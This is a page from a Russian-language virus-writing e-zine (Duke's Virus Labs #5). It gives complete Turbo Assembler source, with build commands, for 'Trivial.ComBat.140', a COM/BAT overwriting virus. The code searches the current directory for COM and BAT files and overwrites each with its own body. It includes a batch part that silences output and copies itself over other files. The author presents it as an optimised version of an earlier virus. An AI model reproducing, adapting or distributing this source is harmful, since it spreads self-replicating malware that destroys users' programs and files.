- [Duke's Virus Labs #5] - [Page 15] - Trivial.ComBat.140 (c) by Duke/SMF Имя вируса : Trivial.ComBat.140 Автор : Duke/SMF Язык прогр. : Turbo Assembler Дата создания : 03.03.99 В прошлом номере я опубликовал вирус Trivial.ComBat.150. Когда я глянул на него трезвым взором, я заметил несколько неточностей. Точнее говоря - возможностей для оптимизации: - список масок для поиска в BAT части дан через "; ", хотя и одного пробела вполне достаточно - во второй строке BAT части вируса стоит символ "@", что не иммет никакого смысла по причине первой строки - мои копирайты в COM чвсти можно значительно сократить :) Теперь будет читателям будет сложнее обвинить меня в непрофессионализме ;) Пофиксеный исходник вируса предлагается ниже. ===== Cut here ===== ; Trivial.ComBat.140 (c) by Duke/SMF ; Поражает все BAT и COM-файлы в текущей директории. ; Компиляция : tasm combat.asm ; tlink combat.obj /t /x .model tiny .code org 100h virus_length equ finish - start ;Длина вируса start: ;Начало вируса db ': ' ;Имитируем метку BAT-файла mov ah,4Eh ;Поиск первого файла mov dx,offset file_sp1 ;DX указывает на "*.com" call writer ;Вызов поиска mov ah,4Eh ;Поиск первого файла mov dx,offset file_sp2 ;DX указывает на "*.bat" call writer ;Вызов поиска mov ax,4c01h ;Конец работы int 21h db '[Duke/SMF]' ;Жизненно необходимый копирайт ! ;------------------------------------------- writer proc infect: int 21h jnc infect_file ;Если файл найден, то поражаем, ret ;в противном случае - на выход infect_file: mov ax,3D01h ;Открываем файл для записи mov dx,9Eh ;DX указывает на найденный файл int 21h xchg bx,ax ;BX содержит файловый handle mov ah,40h ;Функция записи в файл mov cl,virus_length ;CL = сколько байт писать mov dx,offset start ;DX = начало кода вируса int 21h mov ah,3Eh ;Закрываем файл int 21h mov ah,4Fh ;Поиск следующего файла jmp infect ;Переход на заражение endp ;------------------------------------------- file_sp1 db '*.com',0 ;Маска COM-файлов для поиска file_sp2 db '*.bat',0 ;Маска BAT-файлов для поиска batnic db 13,10 ;BAT-часть вируса db '@ctty nul',13,10 db 'for %%g in (*.bat *.com) do copy %0 %%g',13,10 db 'ctty con',13,10 finish: ;Конец вируса end start ===== Cut here =====